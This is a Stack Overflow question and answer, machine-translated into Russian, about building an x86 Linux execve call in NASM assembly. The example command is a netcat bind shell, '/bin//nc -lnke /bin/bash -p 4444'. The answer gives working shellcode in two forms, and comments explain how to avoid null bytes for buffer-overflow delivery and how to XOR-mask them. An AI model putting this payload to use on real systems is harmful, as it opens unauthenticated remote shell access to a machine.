Как правильно вызывать execve с аргументами в сборке?

Я пытаюсь выполнить следующее с помощью execve: /bin//nc -lnke /bin/bash -p 4444

При чтении справочной страницы для execve я вижу следующие требования:

int execve(const char *filename, char *const argv[],
                  char *const envp[]);

Проблема, с которой я сталкиваюсь, заключается в передаче аргументов в argv; Я не понимаю, как вы нажимаете массив (в сборке), чтобы это работало правильно.

Сборка, которую я сейчас использую, приведена ниже:

global _start

_start:
    xor eax, eax

    ; command
    push eax
    push 0x636e2f2f
    push 0x6e69622f
    mov ebx, esp

    ; args
    push eax
    push 0x34343434
    push 0x20702d20
    push 0x68736162
    push 0x2f6e6962
    push 0x2f20656b
    push 0x6e6c2d20
    mov ecx, esp

    ; null, arg 1
    push eax
    mov edx, esp

    ; push to stack
    push edx
    push ecx
    push ebx

    ; command
    mov al, 11
    int 0x80

В результате в execve передается следующее:

$ strace -f -e execve -s 10000 ./bind 
execve("/bin//nc", [0x6e6c2d20, 0x2f20656b, 0x2f6e6962, 0x68736162, 0x20702d20, 0x34343434], 0xffd4c0d4 /* 0 vars */) = -1 EFAULT (Bad address)

Как правильно передать эти аргументы с помощью сборки?

Я использую Linux с nasm


person Community    schedule 04.09.2018    source источник
comment
Для какой операционной системы вы программируете?   -  person fuz    schedule 04.09.2018
comment
Я добавил в свой ответ немного о том, как это сделать в шеллкоде. Пожалуйста, дайте мне знать, если это разрешит любые ваши сомнения.   -  person fuz    schedule 05.09.2018


Ответы (1)


В C массивы неявно преобразуются в указатели на их первые элементы. Итак, в вашем случае вам нужно передать указатель на массив указателей на строки. Каждый массив завершается нулевым указателем. Каждая строка завершается нулевым байтом. Аргументы системных вызовов передаются в ebx, ecx, edx и т. д., а номер системного вызова — в eax. Как это:

        section .data
        ; strings
arg0    db "/bin//nc",0
arg1    db "-lnke",0
arg2    db "/bin/bash",0
arg3    db "-p",0
arg4    db "4444",0

        ; arrays
        align 4
argv    dd arg0, arg1, arg2, arg3, arg4, 0
envp    dd 0

        section .text
        global _start
_start: mov eax, 11   ; SYS_execve
        mov ebx, arg0 ; filanem
        mov ecx, argv ; argv
        mov edx, envp ; envp
        int 0x80      ; syscall

Я не уверен, для какой операционной системы вы программируете. В этом примере предполагается Linux.

Если по какой-то причине вы не можете использовать сегмент данных, действуйте следующим образом:

        ; for easier addressing
        mov ebp, esp

        ; push strings

        xor eax, eax
        push eax          ; - 4    
        push "4444"       ; - 8
        push "\0-p\0"     ; -12
        push "bash"       ; -16
        push "bin/"       ; -20
        push "ke\0/"      ; -24
        push "\0-ln"      ; -28
        push "//nc"       ; -32
        push "/bin"       ; -36

        ; push argv, right to left
        xor eax, eax
        push eax          ; NULL
        lea ebx, [ebp-8]
        push ebx          ; "4444\0"
        lea ebx, [ebp-11]
        push ebx          ; "-p\0"
        lea ebx, [ebp-21]
        push ebx          ; "/bin/bash\0"
        lea ebx, [ebp-27]
        push ebx          ; "-lnke\0"
        lea ebx, [ebp-36] ; filename
        push ebx          ; "/bin//nc\0"
        mov ecx, esp      ; argv
        lea edx, [ebp-4]  ; envp (NULL)

        mov al, 11        ; SYS_execve
        int 0x80

Если вы не можете иметь нулевые байты в своих данных по какой-либо причине, вам необходимо заранее выполнить некоторую маскировку. Например, вы можете отправить каждый байт, подвергнутый операции xor'а с 0x80, а затем снова выполнить операцию xor данных в стеке с 0x80.

person fuz    schedule 04.09.2018
comment
+1, он по-прежнему отвечает на вопрос, четко показывая дополнительный уровень косвенности. @ user1529891: Для шеллкода после отправки строковых данных я бы создал массивы указателей с lea edx, [esp+??]/ push edx / sub edx, 8 / push edx / ... (где ваши приращения кратны 4, если вы делаете все с 4-байтовыми нажатиями, включая нулевые терминаторы.) - person Peter Cordes; 04.09.2018
comment
обычное требование к шеллкоду состоит в том, что машинный код не должен содержать 00 байт, поэтому strcpy не останавливается при переполнении буфера. Включение "\0" в немедленное не работает; вот почему вы xor eax,eax и push eax там, где нам нужны нули, или используете push imm8. Вот почему вы дополняете пути избыточными //, чтобы сделать их кратными 4 байтам. - person Peter Cordes; 05.09.2018
comment
@PeterCordes Я обратился к этому вопросу в последнем предложении. - person fuz; 05.09.2018